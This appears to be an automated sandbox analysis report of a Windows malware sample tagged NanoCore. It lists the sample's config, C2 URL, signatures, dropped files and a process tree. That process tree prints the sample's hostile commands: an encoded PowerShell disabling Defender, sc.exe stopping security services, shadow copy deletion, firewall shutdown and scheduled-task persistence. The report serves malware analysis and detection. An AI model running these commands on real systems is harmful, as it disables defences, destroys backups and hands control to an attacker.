Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/08/2026, 01:53

General

  • Target
    2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 57KB
  • Sample260831-cbe82aec92
  • SHA256 b91d614e907db2c9e01fe915a1652d7883323273975cd7a987ac9e6873d1b699
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://thesocolive.com

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://thesocolive.com

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Detects command variations typically used by ransomware 1 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5364
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1356
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:3736
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:6208
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:4784
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:4488
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:5780
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:6920
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:6448
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3236
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:6952
      • C:\Users\Admin\AppData\Local\Temp\2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:1172
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:620
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:6572
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:4424
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4760
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:5280
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1276
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5524
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2960
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:6932
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5328
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:6532
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:6696
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3340
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:6424
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:6352
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4436
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:472
        • C:\Windows\system32\net.exe
          net user
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1292
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 user
            4⤵
              PID:6112
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:756
          • C:\Windows\system32\ipconfig.exe
            ipconfig /all
            3⤵
            • Gathers network information
            PID:4972
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1496
          • C:\Windows\system32\NETSTAT.EXE
            netstat -an
            3⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:6896
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1044
        • C:\Windows\System32\wscript.exe
          "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
          2⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:4748
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe"
          2⤵
            PID:6956
          • C:\Windows\System32\vssadmin.exe
            "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
            2⤵
            • Interacts with shadow copies
            PID:2080
          • C:\Windows\System32\wbem\WMIC.exe
            "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:6300
          • C:\Windows\System32\net.exe
            "C:\Windows\System32\net.exe" stop srservice
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5776
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop srservice
              3⤵
                PID:4620
            • C:\Windows\System32\netsh.exe
              "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
              2⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:1104
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" config i8042prt start= disabled
              2⤵
              • Launches sc.exe
              PID:6620
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" stop i8042prt
              2⤵
              • Launches sc.exe
              PID:4336
          • C:\Windows\system32\vssvc.exe
            C:\Windows\system32\vssvc.exe
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5444
          • C:\Users\Admin\AppData\Local\Temp\2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe
            C:\Users\Admin\AppData\Local\Temp\2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe
            1⤵
              PID:3124

            Network

                  MITRE ATT&CK Enterprise v16

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                  Downloads

                  scr_20260830_215511.jpg

                  • Path C:\ProgramData\SysUpdate\Scr\scr_20260830_215511.jpg
                  • Size 127KB
                  • SHA256 3232cd38ecfada25985c955a194f987f0c685f7cbae145f9d197bc47aa2f4b67
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  invoice_1.pdf

                  • Path C:\ProgramData\invoice_1.pdf
                  • Size 76KB
                  • SHA256 d2639468f4f22e1ea8dccd5349d7894f90c773c0d168d4659b04847619aca403
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  doc_3.pdf

                  • Path C:\SystemVolumeInformation\doc_3.pdf
                  • Size 76KB
                  • SHA256 7f879b765424c656d887df4e0057eeafe0df1326cd4cdf01b7e772c86a27e952
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  createshortcut.vbs

                  • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                  • Size 309B
                  • SHA256 7e0c7bed7c52a63cdb8db98910301762ff0cf0191dea3b0790a116f49eb38fd5
                  • MD5 SHA1 SHA512 TLSH

                  del.bat

                  • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                  • Size 59B
                  • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                  • MD5 SHA1 SHA512 TLSH

                  makelnk.vbs

                  • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                  • Size 310B
                  • SHA256 d7bf5577d9467d527b08bd253aa6af7e636a8cb7f7f64975d3824ad84faa2f80
                  • MD5 SHA1 SHA512 TLSH

                  temp_steal.log

                  • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                  • Size 170KB
                  • SHA256 4feb130c8abd2021b23142118a074a72e8e1a2595d7fd5d7ae341e6b46792b79
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  stolen_data_here.txt

                  • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                  • Size 170KB
                  • SHA256 3480a8741b82b78aa8634b4a52c5c14ae500ac32794ae17a0787d938c5229394
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  memory/1356-16-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/1356-22-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/1356-11-0x0000028DA2200000-0x0000028DA2222000-memory.dmp

                  memory/1356-15-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/1356-21-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/1356-17-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/1356-18-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/1356-19-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/1356-20-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/1356-14-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/1356-23-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/1356-25-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/1356-2271-0x0000028DA28D0000-0x0000028DA29C0000-memory.dmp

                  memory/1356-31-0x0000028DA25C0000-0x0000028DA2672000-memory.dmp

                  memory/1356-32-0x0000028DA2280000-0x0000028DA228A000-memory.dmp

                  memory/1356-2272-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/1356-30-0x0000028DA25A0000-0x0000028DA25BE000-memory.dmp

                  memory/1356-24-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/5364-13-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/5364-4-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/5364-0-0x00007FF8AF86F000-0x00007FF8AF870000-memory.dmp

                  memory/5364-12-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/5364-6-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/5364-5-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/5364-1-0x0000000000940000-0x0000000000954000-memory.dmp

                  memory/5364-26-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/5364-2281-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/5364-2282-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/5364-2283-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/5364-3-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/5364-2-0x00007FF8AF6E0000-0x00007FF8B0084000-memory.dmp

                  memory/6956-2273-0x0000022DD4100000-0x0000022DD4101000-memory.dmp